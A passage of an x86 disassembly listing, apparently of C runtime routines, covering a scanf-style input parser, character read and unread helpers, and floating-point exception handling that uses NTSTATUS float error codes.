					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C9D8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43CBE4
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43CBE4, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43CBE4, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43CBE4, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43CBE4, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C9D8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D350, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB958, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43D350, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 26803A4h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
